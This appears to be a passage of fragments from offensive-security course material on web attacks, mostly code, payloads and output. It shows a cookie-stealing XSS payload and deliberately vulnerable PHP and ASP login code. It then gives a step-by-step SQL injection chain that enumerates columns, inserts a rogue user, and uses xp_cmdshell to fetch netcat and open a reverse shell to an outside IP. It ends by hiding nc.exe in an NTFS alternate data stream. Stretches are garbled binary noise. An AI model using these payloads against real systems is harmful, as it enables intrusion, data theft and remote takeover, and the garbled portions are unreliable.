<iframe SRC="http://192.168.8.173/report" height = "0" width ="0"> 

</script> 
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<script> 

new Image().src="http://192.168.48.133/bogus.php?ou tput="+document.cookie; 

</script> 
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if (isset( $_GET['LANG'] ) ) { $lang = $_GET['LANG' ];} 

else { $lang = 'en';} 

include( $lang . '.php' ); 
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... 

mysql_select_db('webappdb'); 

    $username = $_POST['user']; // unsanitized  

    $password = $_POST['pass']; // unsanitized  

    $query="select * from users where name = '$username ' and password = '$password' ";  // ouch  

    $queryN = mysql_query($query) or die(mysql_erro r()); 

    if (mysql_num_rows($queryN) == 1) // if number of queries found is equal to 1, allow login.  

    {   $resultN = mysql_fetch_assoc($queryN);                     

  $_SESSION['user'] = $_POST['user'];     

  header("location:admin.php");    

    } 

   else // user rejected  

   {   echo "<br /><h1>Wrong Username or Password</ h1>"; 

       echo '<META HTTP-EQUIV="Refresh" CONTENT="2; URL=admin.php">'; 

   } 
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<?php 

$id = $_GET['id'];  //unsanitized  

... 

// Connect to server and select database. 

mysql_connect("$host", "$username", "$password")or die("cannot connect server "); 

mysql_select_db("$db_name")or die("cannot select DB "); 

$result=mysql_query("SELECT * FROM $tbl_name where id=".$id) or die (mysql_error()); //ouch 

... 
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<% 

set cnn = server.createobject("ADODB.Connection") 

cnn.open "PROVIDER=SQLOLEDB;DATA SOURCE=SRV2;User I D=sa;PWD=password;DATABASE=bankdb" 

 

myUsrName = request.form("txtLoginID") 

myUsrPassword = request.form("txtPassword") 

 

sSql = "SELECT * FROM tblCustomers where cust_name= '" & myUsrName & "' and 
cust_password='"&myUsrPassword&"'"  

 

Set rs = Server.CreateObject("ADODB.Recordset") 

rs.Open sSql, cnn, 3, 3 

 

if rs.BOF or rs.EOF then 

        Response.write "<html><title>Offensive ASP Test Page</title>" 

        response.write "INVALID LOGIN" %> 

<meta http-equiv="REFRESH"content="2;url=http://www .testbank.com/base-login.asp"><% 

else 

        Response.write "Login OK"   

        Response.write "<html><title>Offensive ASP Example</title>" %> 

<meta http-equiv="REFRESH" content="0;url=http://ww w.testbank.com/restricted.htm"><% 

 

End If 

%> 

+*��������������
���
���*
��������	��
�1�

sSql = "SELECT * FROM tblCustomers where cust_name= '" & myUsrName & "' and 
cust_password='"&myUsrPassword&"'"  
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"SELECT * FROM tblCustomers where cust_name='muts' and cust_password='test'". 
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"SELECT * FROM tblCustomers where cust_name='' or 1 =1--' and 
cust_password='"&myUsrPassword&"'". 
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SELECT * FROM tblCustomers where cust_name='' or 1= 1-- 
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Error Type: 
Microsoft OLE DB Provider for SQL Server (0x80040E1 4) 
Column ' tblCustomers.cust_id ' is invalid in the select list because it is not 
contained in an aggregate function and there is no GROUP BY clause. 
/login-off.asp, line 11  
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' group by tblCustomers.cust_id  having 1=1-- 
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Error Type: 
Microsoft OLE DB Provider for SQL Server (0x80040E1 4) 
Column ' tblCustomers.cust_name ' is invalid in the select list because it is not 
contained in either an aggregate function or the GR OUP BY clause. 
/login-off.asp, line 11  
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' group by tblCustomers.cust_id,tblCustomers.cust_n ame having 1=1-- 

 

' group by tblCustomers.cust_id,tblCustomers.cust_n ame, tblCus tomers.cust_password 
having 1=1-- 

 

' group by tblCustomers.cust_id,tblCustomers.cust_n ame, 
tblCustomers.cust_password, tblCustomers.cust_accou nt having 1=1-- 

4��������*����*���
��������%������������������H���� �
�	�%��K���	�����*���	*������*�����������

.��4���2���	��������*	���������&�	��

�������%��� ���� ������ ���
�����
�	� �*�� ��������H�%�� � ����� ���#��"� �*�� ������� �%�����4��� ���� ����

�%����������
��������������	������
����
�%��*������ ����%�����%���
�	��*�� ������������ ������������

5����
�	��*�������"
�	�
����1�

' union select sum(cust_id) from tblCustomers -- 
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Error Type: 
Microsoft OLE DB Provider for SQL Server (0x80040E0 7) 
The sum or average aggregate operation cannot take a varchar  data type as an 
argument. 
/login-off.asp, line 11  
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'; insert into tblCustomers values('5345','eviluser ','evilpass','34343434')-- 
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';exec sp_makewebtask "c:\Inetpub\wwwroot\evil.html ", "select * from 
tblCustomers";-- 
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' or 1=1;exec master..xp_cmdshell '"ipconfig" > c:\ Inetpub\wwwroot\ip.txt';-- 
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' or 1=1;exec master..xp_cmdshell '"tftp -i 192.168 .9.100 GET nc.exe && nc.exe 
192.168.9.100 53 -e cmd.exe';-- 
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C:\muts> dir 

 Volume in drive C has no label. 

 Volume Serial Number is A0EB-9535 

 Directory of C:\muts 

 

11/13/2006  12:56p      <DIR>          . 

11/13/2006  12:56p      <DIR>          .. 

11/13/2006  12:55p              59,392 nc.exe 

               1 File(s)         59,392 bytes 
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               2 Dir(s)   3,114,639,360 bytes free 

 

C:\muts> echo "hi, i am text in a text file" > muts.txt 

 

C:\muts> dir 

 Volume in drive C has no label. 

 Volume Serial Number is A0EB-9535 

 Directory of C:\muts 

 

11/13/2006  12:56p      <DIR>          . 

11/13/2006  12:56p      <DIR>          .. 

11/13/2006  12:56p                  33 muts.txt 

11/13/2006  12:55p              59,392 nc.exe 

               2 File(s)         59,425 bytes 

               2 Dir(s)   3,114,639,360 bytes free 

 

C:\muts> type nc.exe > muts.txt:nc.exe 

 

C:\muts> del nc.exe 

 

C:\muts> dir 

 Volume in drive C has no label. 

 Volume Serial Number is A0EB-9535 

 Directory of C:\muts 

 

11/13/2006  12:56p      <DIR>          . 

11/13/2006  12:56p      <DIR>          .. 

11/13/2006  12:56p                  33 muts.txt 

               1 File(s)             33 bytes 

               2 Dir(s)   3,114,639,360 bytes free 
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C:\muts> start ./muts.txt:nc.exe 
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